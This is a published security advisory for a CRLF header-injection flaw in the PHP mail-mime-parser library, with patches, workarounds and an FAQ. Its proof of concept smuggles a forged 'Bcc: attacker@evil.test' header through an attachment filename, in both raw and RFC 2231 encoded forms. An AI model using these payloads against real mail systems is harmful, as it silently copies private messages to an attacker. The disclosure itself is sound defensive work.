CVE-2026-61815: zbateson/mail-mime-parser has CRLF header injection via attachment filename

Published Sep 24, 2026
·
Updated

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment; filename="doc Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

- ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename= parameter with no control-character stripping, so a crafted filename=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n. - The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

php composer require zbateson/mail-mime-parser

<?php require 'vendor/autoload.php'; use ZBateson\MailMimeParser\MailMimeParser; use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void { $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false); $out->addAttachmentPart('payload', 'application/octet-stream', $filename); echo (strpos($out->toString(), "\r\nBcc: attacker@evil.test") !== false) ? "INJECTED\n" : "clean\n"; }

attachAndReport('invoice.pdf'); // => clean attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an // RFC 2231 filename= parameter, so no local construction is needed: $inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . "--b\r\nContent-Type: application/octet-stream\r\n" . "Content-Disposition: attachment; filename=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n" . base64encode('data') . "\r\n--b--\r\n"; $fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename(); vardump($fn); // => string(28) "doc\r\nBcc: attacker@evil.test" attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. pregreplace('/[\r\n]+/', ' ', $filename).

- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Other sources

zbateson/mail-mime-parser is a mail mime parser alternative to PHP's imap functions and Pear libraries for reading messages in Internet Message Format RFC 822. Prior to version 3.0.6 and 4.0.2, CRLF (carriage-return / line-feed) header injection (CWE-93) affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. Versions 3.0.6 and 4.0.2 patch the issue. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. pregreplace('/[\r\n]+/', ' ', $filename).

— MITRE

Affected Software

3 affected componentsFixes available
packagist/zbateson/mail-mime-parser<3.0.6, <4.0.2
composer/zbateson/mail-mime-parser>=4.0.0<4.0.2
4.0.2
composer/zbateson/mail-mime-parser<3.0.6
3.0.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/zbateson/mail-mime-parser to a version that resolves this vulnerability.

    Fixed in 4.0.2
  2. Upgrade

    Upgrade composer/zbateson/mail-mime-parser to a version that resolves this vulnerability.

    Fixed in 3.0.6
  3. Upgrade

    Upgrade zbateson/mail-mime-parser to a version that resolves this vulnerability.

    Fixed in 3.0.6
  4. Upgrade

    Upgrade zbateson/mail-mime-parser to a version that resolves this vulnerability.

    Fixed in 4.0.2
  5. Compensating control

    If upgrading is not immediately possible, strip CR and LF characters from attachment filenames before passing them to attachment APIs, and from getFilename() results before reusing them in a constructed message.

Event History

Sep 24, 2026
CVE Published
via MITRE·05:53 PM
Data Sourced
via MITRE·05:53 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:46 PM
Data Sourced
via GitHub·07:46 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Can a malicious inbound email trigger this issue without the application creating a filename locally?

Yes. An application is exposed if it re-attaches or re-sends an attachment filename parsed from inbound mail, because that filename can contain CR/LF characters that are serialized into outgoing MIME headers.

2

Does an attacker need credentials or user interaction to exploit this?

No. The vulnerability is rated with no required privileges and no user interaction; the attacker needs to supply an attachment filename that reaches the library's attachment-building or forwarding path.

3

Which versions require remediation?

Versions before 3.0.6 on the 3.x line and before 4.0.2 on the 4.x line are affected. Versions 1.x and 2.x are also affected, are end-of-life, and will not receive patches.

4

What can be done if an upgrade cannot be applied immediately?

Strip carriage-return and line-feed characters from every filename before passing it to attachment APIs. Apply this to filenames derived from parsed inbound messages as well as locally supplied values.

Contact

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